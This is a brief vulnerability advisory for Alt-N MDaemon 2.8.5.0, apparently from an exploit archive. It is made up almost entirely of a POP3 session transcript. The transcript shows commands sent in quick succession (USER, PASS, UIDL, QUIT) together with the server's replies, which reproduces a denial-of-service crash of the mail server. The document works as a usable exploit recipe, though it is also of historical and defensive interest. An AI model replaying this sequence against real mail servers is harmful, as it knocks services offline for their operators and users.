Alt-N MDaemon 2.8.5.0 UIDL DoS Vulnerability

Perform the following very quickly:

+OK <target> POP service ready using MDaemon
v2.8.5.0 T

User <username>
+OK <username>... Recipient ok
pass <password>
-ERR that command is valid only in the AUTHORIZATION state!
uidl
-ERR unknown POP command!
quit
+OK
.
quit
+OK <username> <target> POP Server signing off (mailbox empty)


 

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